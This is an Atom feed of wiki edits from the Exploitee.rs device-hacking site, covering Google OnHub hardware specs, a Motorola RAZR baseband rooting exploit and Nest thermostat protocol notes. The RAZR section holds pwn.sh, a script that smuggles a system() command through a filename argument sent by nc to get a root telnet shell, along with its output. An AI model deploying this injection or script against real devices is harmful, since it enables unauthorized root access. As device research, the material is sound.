<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.exploitee.rs/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mbm</id>
	<title>Exploitee.rs - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.exploitee.rs/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mbm"/>
	<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Special:Contributions/Mbm"/>
	<updated>2026-05-07T07:53:12Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.45.0-alpha</generator>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Google_OnHub_(TP-Link)&amp;diff=2522</id>
		<title>Google OnHub (TP-Link)</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Google_OnHub_(TP-Link)&amp;diff=2522"/>
		<updated>2015-10-08T02:09:21Z</updated>

		<summary type="html">&lt;p&gt;Mbm: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:OnHub_blue.png|200px|thumb]]&lt;br /&gt;
&lt;br /&gt;
==Information==&lt;br /&gt;
* &#039;&#039;&#039;Name:&#039;&#039;&#039; Google OnHub&lt;br /&gt;
* &#039;&#039;&#039;Manufacturer:&#039;&#039;&#039; TP-Link&lt;br /&gt;
* &#039;&#039;&#039;Firmware Version:&#039;&#039;&#039; 7077.122.4&lt;br /&gt;
* &#039;&#039;&#039;Project code name:&#039;&#039;&#039; Whirlwind&lt;br /&gt;
* &#039;&#039;&#039;Board name:&#039;&#039;&#039; whirlwind&lt;br /&gt;
* &#039;&#039;&#039;Base board:&#039;&#039;&#039; storm&lt;br /&gt;
&lt;br /&gt;
The router runs a version of ChromeOS.&lt;br /&gt;
&lt;br /&gt;
==Hardware Specs==&lt;br /&gt;
* WiSoC – Qualcomm Atheros IPQ8064 dual core Krait processor @ 1.4 GHz&lt;br /&gt;
* System Memory – 1GB DDR3L&lt;br /&gt;
* Storage – 4GB eMMC, 8MB NOR flash&lt;br /&gt;
* Connectivity&lt;br /&gt;
** 802.11 b/g/n 3×3 with smart antenna&lt;br /&gt;
** 802.11 a/n/ac 3×3 with smart antenna&lt;br /&gt;
** AUX wireless (802.11 a/b/g/n/ac 1×1)&lt;br /&gt;
** 10/100/1000M Mbps WAN and LAN port (QCA9337 Gigabit switch)&lt;br /&gt;
** Compatible with Zigbee/Thread , Bluetooth 4.0&lt;br /&gt;
** Wireless Security – WPA2-PSK&lt;br /&gt;
** 13 antennas in total&lt;br /&gt;
** Supports up to 128 devices over WiFi&lt;br /&gt;
* USB – 1x USB 3.0&lt;br /&gt;
* Audio – 3W Speaker&lt;br /&gt;
* Security – Infineon SLB 9615 Trusted Platform Module&lt;br /&gt;
* Misc – 6x tri-color array LEDs, ambient light sensor&lt;br /&gt;
* Power Supply – 12V/3A DC, 100-240V 50-60Hz AC&lt;br /&gt;
* Dimensions – 19.05 cm (H) x 11.68 cm (⌀)&lt;br /&gt;
* Weight – 860 grams&lt;br /&gt;
&lt;br /&gt;
===Board Chipset===&lt;br /&gt;
* Qualcomm Atheros IPQ8064 Internet Processor with 2 Krait 300 CPUs clocked at 1.4 GHz&lt;br /&gt;
* Micron MT41K256M16HA 4 Gb DDR3L SDRAM&lt;br /&gt;
* Qualcomm Atheros QCA8337&lt;br /&gt;
* Qualcomm Atheros QCA9882&lt;br /&gt;
* Qualcomm Atheros QCA9880&lt;br /&gt;
* Silicon Labs EM3581 SOC network co-processor for ZigBee&lt;br /&gt;
* Skyworks 66109 2.4 GHz ZigBee/Smart Energy front-end module&lt;br /&gt;
* Skyworks SKY2623L 2.4 GHz WLAN power amplifier&lt;br /&gt;
* Skyworks SKY85405 802.11ac 5 GHz WLAN power amplifier&lt;br /&gt;
* Atheros 3012-BL3D Bluetooth radio&lt;br /&gt;
* Bluetooth antenna&lt;br /&gt;
* Micron MTFC4GACAAAM 4 GB NAND flash&lt;br /&gt;
* Micron 25Q064A 64 Mb SPI flash&lt;br /&gt;
* Infineon SLB9615 Trusted Platform Module&lt;br /&gt;
&lt;br /&gt;
==Configuration==&lt;br /&gt;
For the moment it is reported that this router can only be configured from the Android or iOS &amp;quot;Google OnHub&amp;quot; application.&lt;br /&gt;
&lt;br /&gt;
==Pictures==&lt;br /&gt;
[[File:OnHub_Colors.png|200px]] [[File:ObHub_Back.png|200px]]&lt;br /&gt;
&lt;br /&gt;
===Disassembly===&lt;br /&gt;
&lt;br /&gt;
[[File:Onhub-inside-01.jpg|200px]]&lt;br /&gt;
&lt;br /&gt;
[[File:GoogleOnHub-Board.jpg|200px]]&lt;br /&gt;
&lt;br /&gt;
==Root Access==&lt;br /&gt;
* [[Rooting The Google OnHub]]&lt;br /&gt;
&lt;br /&gt;
==Links==&lt;br /&gt;
&lt;br /&gt;
===Official Links===&lt;br /&gt;
* [https://on.google.com/hub/ Official WebPage]&lt;br /&gt;
&lt;br /&gt;
===Community Links===&lt;br /&gt;
* [http://forum.xda-developers.com/onhub Google OnHub at XDADevelopers Forum] &lt;br /&gt;
* [https://plus.google.com/communities/105738065696386405857 Google OnHub Google+ Unofficial Community] &lt;br /&gt;
&lt;br /&gt;
===Articles===&lt;br /&gt;
* [https://www.ifixit.com/Teardown/OnHub+Teardown/48129 iFixit OnHub Teardown]&lt;br /&gt;
&lt;br /&gt;
[[Category:Wifi Router]]&lt;/div&gt;</summary>
		<author><name>Mbm</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Google_OnHub_(TP-Link)&amp;diff=2520</id>
		<title>Google OnHub (TP-Link)</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Google_OnHub_(TP-Link)&amp;diff=2520"/>
		<updated>2015-10-08T01:59:33Z</updated>

		<summary type="html">&lt;p&gt;Mbm: /* Information */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:OnHub_blue.png|200px|thumb]]&lt;br /&gt;
&lt;br /&gt;
==Information==&lt;br /&gt;
* &#039;&#039;&#039;Name:&#039;&#039;&#039; Google OnHub&lt;br /&gt;
* &#039;&#039;&#039;Manufacturer:&#039;&#039;&#039; TP-Link&lt;br /&gt;
* &#039;&#039;&#039;Firmware Version:&#039;&#039;&#039; 7077.122.4&lt;br /&gt;
* &#039;&#039;&#039;Project code name:&#039;&#039;&#039; Whirlwind&lt;br /&gt;
* &#039;&#039;&#039;Board name:&#039;&#039;&#039; whirlwind&lt;br /&gt;
* &#039;&#039;&#039;Base board:&#039;&#039;&#039; storm&lt;br /&gt;
&lt;br /&gt;
The router runs a version of ChromeOS.&lt;br /&gt;
&lt;br /&gt;
==Hardware Specs==&lt;br /&gt;
* WiSoC – Qualcomm Atheros IPQ8064 dual core Krait processor @ 1.4 GHz&lt;br /&gt;
* System Memory – 1GB DDR3L&lt;br /&gt;
* Storage – 4GB eMMC, 8MB NOR flash&lt;br /&gt;
* Connectivity&lt;br /&gt;
** 802.11 b/g/n 3×3 with smart antenna&lt;br /&gt;
** 802.11 a/n/ac 3×3 with smart antenna&lt;br /&gt;
** AUX wireless (802.11 a/b/g/n/ac 1×1)&lt;br /&gt;
** 10/100/1000M Mbps WAN and LAN port (QCA9337 Gigabit switch)&lt;br /&gt;
** Compatible with Zigbee/Thread , Bluetooth 4.0&lt;br /&gt;
** Wireless Security – WPA2-PSK&lt;br /&gt;
** 13 antennas in total&lt;br /&gt;
** Supports up to 128 devices over WiFi&lt;br /&gt;
* USB – 1x USB 3.0&lt;br /&gt;
* Audio – 3W Speaker&lt;br /&gt;
* Security – Infineon SLB 9615 Trusted Platform Module&lt;br /&gt;
* Misc – 6x tri-color array LEDs, ambient light sensor&lt;br /&gt;
* Power Supply – 12V/3A DC, 100-240V 50-60Hz AC&lt;br /&gt;
* Dimensions – 19.05 cm (H) x 11.68 cm (⌀)&lt;br /&gt;
* Weight – 860 grams&lt;br /&gt;
&lt;br /&gt;
===Board Chipset===&lt;br /&gt;
* Qualcomm Atheros IPQ8064 Internet Processor with 2 Krait 300 CPUs clocked at 1.4 GHz&lt;br /&gt;
* Micron MT41K256M16HA 4 Gb DDR3L SDRAM&lt;br /&gt;
* Qualcomm Atheros QCA8337&lt;br /&gt;
* Qualcomm Atheros QCA9882&lt;br /&gt;
* Qualcomm Atheros QCA9880&lt;br /&gt;
* Silicon Labs EM3581 SOC network co-processor for ZigBee&lt;br /&gt;
* Skyworks 66109 2.4 GHz ZigBee/Smart Energy front-end module&lt;br /&gt;
* Skyworks SKY2623L 2.4 GHz WLAN power amplifier&lt;br /&gt;
* Skyworks SKY85405 802.11ac 5 GHz WLAN power amplifier&lt;br /&gt;
* Atheros 3012-BL3D Bluetooth radio&lt;br /&gt;
* Bluetooth antenna&lt;br /&gt;
* Micron MTFC4GACAAAM 4 GB NAND flash&lt;br /&gt;
* Micron 25Q064A 64 Mb SPI flash&lt;br /&gt;
* Infineon SLB9615 Trusted Platform Module&lt;br /&gt;
&lt;br /&gt;
==Configuration==&lt;br /&gt;
For the moment it is reported that this router can only be configured from the Android or iOS &amp;quot;Google OnHub&amp;quot; application.&lt;br /&gt;
&lt;br /&gt;
==Pictures==&lt;br /&gt;
[[File:OnHub_Colors.png|200px]] [[File:ObHub_Back.png|200px]]&lt;br /&gt;
&lt;br /&gt;
===Disassembly===&lt;br /&gt;
&lt;br /&gt;
[[File:Onhub-inside-01.jpg|200px]]&lt;br /&gt;
&lt;br /&gt;
[[File:GoogleOnHub-Board.jpg|200px]]&lt;br /&gt;
&lt;br /&gt;
==Links==&lt;br /&gt;
&lt;br /&gt;
===Official Links===&lt;br /&gt;
* [https://on.google.com/hub/ Official WebPage]&lt;br /&gt;
&lt;br /&gt;
===Community Links===&lt;br /&gt;
* [http://forum.xda-developers.com/onhub Google OnHub at XDADevelopers Forum] &lt;br /&gt;
* [https://plus.google.com/communities/105738065696386405857 Google OnHub Google+ Unofficial Community] &lt;br /&gt;
&lt;br /&gt;
===Articles===&lt;br /&gt;
* [https://www.ifixit.com/Teardown/OnHub+Teardown/48129 iFixit OnHub Teardown]&lt;br /&gt;
&lt;br /&gt;
[[Category:Wifi Router]]&lt;/div&gt;</summary>
		<author><name>Mbm</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Moto_RAZR,_BIONIC,_DROID_4&amp;diff=2203</id>
		<title>Moto RAZR, BIONIC, DROID 4</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Moto_RAZR,_BIONIC,_DROID_4&amp;diff=2203"/>
		<updated>2014-08-09T07:41:55Z</updated>

		<summary type="html">&lt;p&gt;Mbm: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__FORCETOC__&lt;br /&gt;
{{Disclaimer}}&lt;br /&gt;
[[File:Razr.png|200px|left|thumb]]&lt;br /&gt;
[[Category:Phones]]&lt;br /&gt;
This page will be dedicated to a general overview, descriptions, and information related to the Motorola Droid RAZR.&lt;br /&gt;
&lt;br /&gt;
== Purchase ==&lt;br /&gt;
Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.&lt;br /&gt;
[http://www.amazon.com/gp/product/dp/B008XLJ22A/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=dp/B008XLJ22A&amp;amp;linkCode=as2&amp;amp;tag=gtvcom-20&amp;amp;linkId=MMQVXJLSRHPLTJGI Purchase the Motorola Droid RAZR at Amazon]&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Android communicates with the baseband over an internal USB network&lt;br /&gt;
&lt;br /&gt;
192.168.157.1 (Android) &amp;lt;- usb network -&amp;gt; 192.168.157.2 (LTE)&lt;br /&gt;
    usb1      Link encap:Ethernet  HWaddr 02:21:00:1D:34:FB  &lt;br /&gt;
              inet addr:192.168.157.1  Bcast:192.168.157.7  Mask:255.255.255.248&lt;br /&gt;
              inet6 addr: fe80::21:ff:fe1d:34fb/64 Scope:Link&lt;br /&gt;
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
              RX packets:916 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
              TX packets:910 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
              collisions:0 txqueuelen:1000 &lt;br /&gt;
              RX bytes:337347 (329.4 KiB)  TX bytes:63269 (61.7 KiB)&lt;br /&gt;
&lt;br /&gt;
Included in the Android filesystem is a /system/bin/wrigley-dump.sh which demonstrates usage:&lt;br /&gt;
    ...&lt;br /&gt;
    for cmd in &amp;quot;state&amp;quot; &amp;quot;logs&amp;quot; &amp;quot;files&amp;quot; &amp;quot;panic&amp;quot; &amp;quot;atvc&amp;quot;; do&lt;br /&gt;
        echo &amp;quot;-o wrigley $cmd&amp;quot; | nc -w 10 192.168.157.2 3002&lt;br /&gt;
    done&lt;br /&gt;
&lt;br /&gt;
Port 3002 redirects to a shell script running as root:&lt;br /&gt;
    ...&lt;br /&gt;
    dumpBinFile()&lt;br /&gt;
        local inFilePath=&amp;quot;$1&amp;quot;&lt;br /&gt;
        local outFilePath=&amp;quot;$2&amp;quot;&lt;br /&gt;
        case $(echo | busybox awk &#039;{print substr(&amp;quot;&#039;&amp;quot;${outFilePath}&amp;quot;&#039;&amp;quot;,0,1)}&#039;) in&lt;br /&gt;
            &amp;quot;/&amp;quot;) ;;&lt;br /&gt;
            *) outFilePath=&amp;quot;/$outFilePath&amp;quot;&lt;br /&gt;
        esac&lt;br /&gt;
    ...&lt;br /&gt;
&lt;br /&gt;
Note the strange filename parsing using awk.&lt;br /&gt;
&lt;br /&gt;
In addition to port 3002 there&#039;s also a limited shell running on port 3023.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;pwn.sh&#039;&#039;&#039;:&lt;br /&gt;
    echo &amp;quot;\ntouch &#039;/pds/public/x\&amp;quot;,0,1);system(\&amp;quot;start\${IFS}adbd;start\${IFS}telnetd-root\&amp;quot;);(\&amp;quot;&#039;\nexit&amp;quot; | nc 192.168.157.2 3023&lt;br /&gt;
    echo &amp;quot;files&amp;quot; | nc 192.168.157.2 3002 &amp;gt; /dev/null&lt;br /&gt;
    adb pull /system/xbin/telnet /data/local/tmp/telnet&lt;br /&gt;
    chmod 755 /data/local/tmp/telnet&lt;br /&gt;
    /data/local/tmp/telnet 192.168.157.2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
    Entering character mode&lt;br /&gt;
    Escape character is &#039;^]&#039;.&lt;br /&gt;
    &lt;br /&gt;
    root@(unknown):/# &lt;br /&gt;
    root@(unknown):/# cat /proc/cpuinfo&lt;br /&gt;
    Processor       : ARM926EJ-S rev 5 (v5l)&lt;br /&gt;
    BogoMIPS        : 189.57&lt;br /&gt;
    Features        : swp half thumb fastmult edsp java &lt;br /&gt;
    CPU implementer : 0x41&lt;br /&gt;
    CPU architecture: 5TEJ&lt;br /&gt;
    CPU variant     : 0x0&lt;br /&gt;
    CPU part        : 0x926&lt;br /&gt;
    CPU revision    : 5&lt;br /&gt;
    &lt;br /&gt;
    Hardware        : Wrigley 3G DatacardLTE&lt;br /&gt;
    Revision        : 0000&lt;br /&gt;
    Serial          : 0000000000000000&lt;br /&gt;
    root@(unknown):/# whoami&lt;br /&gt;
    root&lt;/div&gt;</summary>
		<author><name>Mbm</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Nest_Hacking&amp;diff=1972</id>
		<title>Nest Hacking</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Nest_Hacking&amp;diff=1972"/>
		<updated>2014-06-29T18:40:11Z</updated>

		<summary type="html">&lt;p&gt;Mbm: /* Backplane to display */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Info ==&lt;br /&gt;
* /dev/event1 is the knob; /dev/event2 is the button&lt;br /&gt;
&lt;br /&gt;
== Nest software ==&lt;br /&gt;
 /nestlabs/sbin/nlclient -config /nestlabs/etc/client.config -config /nestlabs/etc/Display/Display-2/client.config&lt;br /&gt;
&lt;br /&gt;
=== Backplate firmware ===&lt;br /&gt;
Found in /nestlabs/share/bp/data/firmware/nlbpfirmware.plist&lt;br /&gt;
&lt;br /&gt;
== Nest backplate interface ==&lt;br /&gt;
* Connected on /dev/ttyO2&lt;br /&gt;
* All communications with backplane begin with (d5)d5aa96 (d5 is doubled only for data FROM backplane)&lt;br /&gt;
* Everything is little endian&lt;br /&gt;
* 16-bit command&lt;br /&gt;
* 16-bit data length&lt;br /&gt;
* &amp;lt;data&amp;gt;&lt;br /&gt;
* 16-bit checksum&lt;br /&gt;
&lt;br /&gt;
Monitor:&lt;br /&gt;
 strace -ff -p $(pidof nlclient) -x -s9999 -e read,write 2&amp;gt;&amp;amp;1 | grep &#039;(54&#039;&lt;br /&gt;
&lt;br /&gt;
=== Checksum ===&lt;br /&gt;
&amp;lt;Bytes-from-end&amp;gt;.&amp;lt;bit-value&amp;gt;  &amp;lt;xor-with&amp;gt;&lt;br /&gt;
 00.01  2110 (1021)&lt;br /&gt;
 00.02  4220 (2042: 1021&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.04  8440 (4084: 2048&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.08  0881 (8108: 4084&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.10  3112 (1231: 8108&amp;lt;&amp;lt;1^1021)&lt;br /&gt;
 00.20  6224 (2462: 1231&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.40  c448 (48c4: 2462&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.80  8891 (9188: 48c4&amp;lt;&amp;lt;1)&lt;br /&gt;
 01.01  3133 (3313: 9188&amp;lt;&amp;lt;1^1021)&lt;br /&gt;
 01.02  6266&lt;br /&gt;
 01.04  c4cc&lt;br /&gt;
 01.08  a989&lt;br /&gt;
 01.10  7303&lt;br /&gt;
 01.20  e606&lt;br /&gt;
 01.40  cc0d&lt;br /&gt;
 01.80  981b&lt;br /&gt;
 02.01  3037&lt;br /&gt;
 02.02  606e&lt;br /&gt;
 ...&lt;br /&gt;
 03.01  b476&lt;br /&gt;
 03.02  68ed&lt;br /&gt;
 03.04  f1ca&lt;br /&gt;
 03.08  c385&lt;br /&gt;
 03.10  a71b&lt;br /&gt;
 03.20  4e37&lt;br /&gt;
 03.40  9c6e&lt;br /&gt;
 03.80  38dd&lt;br /&gt;
 ...&lt;br /&gt;
 07.20  687b&lt;br /&gt;
&lt;br /&gt;
If you compute the contribution of the individual bit changes in the data you end up with the xor table above; byte offset from the end of the data, bit pattern, xor value. Correcting for little endianess in the output you end up with the hex values in parenthesis. The least significant bit is 0x1021 and each subsequent bit is a shift left, if the XOR value has the 0x8000 bit set then it is XORed with 0x1021. This is the CRC-CCITT polynomial.&lt;br /&gt;
&lt;br /&gt;
  8  7  6  5  4  3  2  1  0&lt;br /&gt;
 d5 aa 96 82 00 02 00 00 00: 08b2&lt;br /&gt;
          ||     |&lt;br /&gt;
          ||     68ed&lt;br /&gt;
          |408b&lt;br /&gt;
          20d4&lt;br /&gt;
  &lt;br /&gt;
 08b2: 68ed ^ 408b ^ 20d4&lt;br /&gt;
&lt;br /&gt;
Starting at the least significant bit and filling in the XOR values for each bit gives the above diagram; the diagram stops at the 20d4 XOR value because at that point it matches the final CRC. This tells us that the CRC covers the 6 bytes prior.&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/env perl&lt;br /&gt;
 use Digest::CRC qw(crc);&lt;br /&gt;
 my $data = pack(&amp;quot;H*&amp;quot;, &amp;quot;820002000000&amp;quot;);&lt;br /&gt;
 printf(&amp;quot;%04x\n&amp;quot;, crc($data,16,0,0,0,0x1021,0,0));&lt;br /&gt;
&lt;br /&gt;
We can also compute the same CRC in Perl; note the result will be byte swapped since the data encodes the number as little endian.&lt;br /&gt;
&lt;br /&gt;
=== Command ids ===&lt;br /&gt;
&lt;br /&gt;
==== Display to backplane ====&lt;br /&gt;
 [[#FET control|0082 - FET control]]&lt;br /&gt;
 0083 - (every 30 seconds; no data)&lt;br /&gt;
 [[#FET presence|008f - FET presence]]&lt;br /&gt;
 0090 - (no data)&lt;br /&gt;
 0098 - (no data)&lt;br /&gt;
 0099 - (no data)&lt;br /&gt;
 009b - (no data)&lt;br /&gt;
 009c - (no data)&lt;br /&gt;
 009d - (no data)&lt;br /&gt;
 009e - (no data)&lt;br /&gt;
 009f - (no data)&lt;br /&gt;
 00a1 - (16-bit data)&lt;br /&gt;
 00a2 - (every 30 seconds; no data)&lt;br /&gt;
 00a3 - (every 30 seconds; no data)&lt;br /&gt;
 00a4 - (16-bit data)&lt;br /&gt;
 00b1 - button pressed/unpressed (no data)&lt;br /&gt;
 00b3 - (32-bit data; always ffffffff?)&lt;br /&gt;
 00b5 - (16-bit data; always 0f00?)&lt;br /&gt;
 00b9 - (32-bit data; always 0000ffff?)&lt;br /&gt;
 00ba - (48-bit data; always 000000000000?)&lt;br /&gt;
 00c2 - (48-bit data)&lt;br /&gt;
 00ff - (no data)&lt;br /&gt;
&lt;br /&gt;
==== Backplane to display ====&lt;br /&gt;
 0001 - (message from backplane; ascii)&lt;br /&gt;
 [[#Temperature reading|0002 - Temperature reading (twice every 30 seconds; 32-bit data)]]&lt;br /&gt;
 [[#FET presence|0004 - FET presence]]&lt;br /&gt;
 0005 - (32-bit data)&lt;br /&gt;
 0007 - (every second; 16-bit data)&lt;br /&gt;
 [[#FET presence|0009 - FET presence]]&lt;br /&gt;
 000a - (every second; 16-bit data)&lt;br /&gt;
 000b - (backplane state)&lt;br /&gt;
 000c - (16-bit values: pir, px1, px1 divisor, px2, px2 divisor, alir, av)&lt;br /&gt;
 0010 - (24-bit data)&lt;br /&gt;
 0014 - (16-bit data)&lt;br /&gt;
 0018 - (48-bit data)&lt;br /&gt;
 0019 - (52-BYTE data)&lt;br /&gt;
 001b - (24-bit data)&lt;br /&gt;
 001c - (24-bit data)&lt;br /&gt;
 001d - (16-bit data)&lt;br /&gt;
 001e - (13-BYTE data)&lt;br /&gt;
 001f - (128-bit data)&lt;br /&gt;
 0022 - (every 30 seconds; 4, 8, 20, 28, 36, 56, 60, 54, 68, 72, or 176 byte data)&lt;br /&gt;
 0023 - (6, 12, 30, 42, 54, 78, 84, 90, 96, 102, 108, 144, or 150 byte data)&lt;br /&gt;
 0025 - (2, 4, 12, 14, 20, or 24 byte data)&lt;br /&gt;
 0027 - (8, 16, 48, 56, 80, or 96 byte data)&lt;br /&gt;
 0029 - (6, 12, 36, 42, 60, or 72 byte data)&lt;br /&gt;
 002b - (8, 16, 24, 32, 40, 128, or 152 byte data)&lt;br /&gt;
 002f - (every 30 seconds; 16-bit data)&lt;br /&gt;
&lt;br /&gt;
=== FET control ===&lt;br /&gt;
 Turn on  W1: d5aa96 8200 0200 00 01 29a2&lt;br /&gt;
 Turn off W1: d5aa96 8200 0200 00 00 08b2&lt;br /&gt;
 Turn on  Y1: d5aa96 8200 0200 01 01 1891&lt;br /&gt;
 Turn off Y1: d5aa96 8200 0200 01 00 3981&lt;br /&gt;
 Turn on  G : d5aa96 8200 0200 02 01 4bc4&lt;br /&gt;
 Turn off G : d5aa96 8200 0200 02 00 6ad4&lt;br /&gt;
 Turn on  OB: d5aa96 8200 0200 03 01 7af7&lt;br /&gt;
 Turn off OB: d5aa96 8200 0200 03 00 5be7&lt;br /&gt;
 Turn on  W2: d5aa96 8200 0200 04 01 ed6e&lt;br /&gt;
 Turn off W2: d5aa96 8200 0200 04 00 cc7e&lt;br /&gt;
 Turn on  Y2: d5aa96 8200 0200 07 01 be3b&lt;br /&gt;
 Turn off Y2: d5aa96 8200 0200 07 00 9f2b&lt;br /&gt;
 Turn on  * : d5aa96 8200 0200 0b 01 d37e&lt;br /&gt;
 Turn off * : d5aa96 8200 0200 0b 00 f26e&lt;br /&gt;
&lt;br /&gt;
For the sake of documentation, we will refer to the unique id numbers for each wire as &amp;quot;wire id numbers&amp;quot;.&lt;br /&gt;
So wire id 0 is W1, wire id 1 is Y1, wire id B is *, etc.&lt;br /&gt;
&lt;br /&gt;
=== FET presence ===&lt;br /&gt;
The backplate will, at least upon connection, send information about which FETs have a wire present.&lt;br /&gt;
This data is received with command ids 0004 and 0009, in that order.&lt;br /&gt;
Each sensor is represented by one byte which is either 00 (not present) or 01 (present).&lt;br /&gt;
&lt;br /&gt;
The content of 0004 is in order of the &amp;quot;wire id numbers&amp;quot; used for control:&lt;br /&gt;
W1, Y1, G, OB, W2, ?0, ?0, Y2, ?1, ?1, ?0, *, ?0&lt;br /&gt;
&lt;br /&gt;
The content of 0009 is arranged differently and has 2 more values:&lt;br /&gt;
W1, Y1, ?1, ?1, ?0, G, OB, W2, ?0, Y2, ?0, *, ?0, ?0, ?0&lt;br /&gt;
&lt;br /&gt;
After these are received, the display sends back command 008f with the exact data of 0004.&lt;br /&gt;
&lt;br /&gt;
=== Temperature reading ===&lt;br /&gt;
The backplate will send message 0002 every 30 seconds.&lt;br /&gt;
The data contains two 16-bit numbers, which nlclient logs in decimal.&lt;br /&gt;
The first number is the temperature in centi-celcius.&lt;br /&gt;
The second number is the humidity in per-millis.&lt;br /&gt;
&lt;br /&gt;
== Run BeagleBone/Debian programs ==&lt;br /&gt;
 ln -s . /lib/arm-linux-gnueabihf&lt;br /&gt;
 ln -s ld-2.11.1.so /lib/ld-linux-armhf.so.3&lt;/div&gt;</summary>
		<author><name>Mbm</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Nest_Hacking&amp;diff=1971</id>
		<title>Nest Hacking</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Nest_Hacking&amp;diff=1971"/>
		<updated>2014-06-29T18:27:53Z</updated>

		<summary type="html">&lt;p&gt;Mbm: /* Backplane to display */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Info ==&lt;br /&gt;
* /dev/event1 is the knob; /dev/event2 is the button&lt;br /&gt;
&lt;br /&gt;
== Nest software ==&lt;br /&gt;
 /nestlabs/sbin/nlclient -config /nestlabs/etc/client.config -config /nestlabs/etc/Display/Display-2/client.config&lt;br /&gt;
&lt;br /&gt;
=== Backplate firmware ===&lt;br /&gt;
Found in /nestlabs/share/bp/data/firmware/nlbpfirmware.plist&lt;br /&gt;
&lt;br /&gt;
== Nest backplate interface ==&lt;br /&gt;
* Connected on /dev/ttyO2&lt;br /&gt;
* All communications with backplane begin with (d5)d5aa96 (d5 is doubled only for data FROM backplane)&lt;br /&gt;
* Everything is little endian&lt;br /&gt;
* 16-bit command&lt;br /&gt;
* 16-bit data length&lt;br /&gt;
* &amp;lt;data&amp;gt;&lt;br /&gt;
* 16-bit checksum&lt;br /&gt;
&lt;br /&gt;
Monitor:&lt;br /&gt;
 strace -ff -p $(pidof nlclient) -x -s9999 -e read,write 2&amp;gt;&amp;amp;1 | grep &#039;(54&#039;&lt;br /&gt;
&lt;br /&gt;
=== Checksum ===&lt;br /&gt;
&amp;lt;Bytes-from-end&amp;gt;.&amp;lt;bit-value&amp;gt;  &amp;lt;xor-with&amp;gt;&lt;br /&gt;
 00.01  2110 (1021)&lt;br /&gt;
 00.02  4220 (2042: 1021&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.04  8440 (4084: 2048&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.08  0881 (8108: 4084&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.10  3112 (1231: 8108&amp;lt;&amp;lt;1^1021)&lt;br /&gt;
 00.20  6224 (2462: 1231&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.40  c448 (48c4: 2462&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.80  8891 (9188: 48c4&amp;lt;&amp;lt;1)&lt;br /&gt;
 01.01  3133 (3313: 9188&amp;lt;&amp;lt;1^1021)&lt;br /&gt;
 01.02  6266&lt;br /&gt;
 01.04  c4cc&lt;br /&gt;
 01.08  a989&lt;br /&gt;
 01.10  7303&lt;br /&gt;
 01.20  e606&lt;br /&gt;
 01.40  cc0d&lt;br /&gt;
 01.80  981b&lt;br /&gt;
 02.01  3037&lt;br /&gt;
 02.02  606e&lt;br /&gt;
 ...&lt;br /&gt;
 03.01  b476&lt;br /&gt;
 03.02  68ed&lt;br /&gt;
 03.04  f1ca&lt;br /&gt;
 03.08  c385&lt;br /&gt;
 03.10  a71b&lt;br /&gt;
 03.20  4e37&lt;br /&gt;
 03.40  9c6e&lt;br /&gt;
 03.80  38dd&lt;br /&gt;
 ...&lt;br /&gt;
 07.20  687b&lt;br /&gt;
&lt;br /&gt;
If you compute the contribution of the individual bit changes in the data you end up with the xor table above; byte offset from the end of the data, bit pattern, xor value. Correcting for little endianess in the output you end up with the hex values in parenthesis. The least significant bit is 0x1021 and each subsequent bit is a shift left, if the XOR value has the 0x8000 bit set then it is XORed with 0x1021. This is the CRC-CCITT polynomial.&lt;br /&gt;
&lt;br /&gt;
  8  7  6  5  4  3  2  1  0&lt;br /&gt;
 d5 aa 96 82 00 02 00 00 00: 08b2&lt;br /&gt;
          ||     |&lt;br /&gt;
          ||     68ed&lt;br /&gt;
          |408b&lt;br /&gt;
          20d4&lt;br /&gt;
  &lt;br /&gt;
 08b2: 68ed ^ 408b ^ 20d4&lt;br /&gt;
&lt;br /&gt;
Starting at the least significant bit and filling in the XOR values for each bit gives the above diagram; the diagram stops at the 20d4 XOR value because at that point it matches the final CRC. This tells us that the CRC covers the 6 bytes prior.&lt;br /&gt;
&lt;br /&gt;
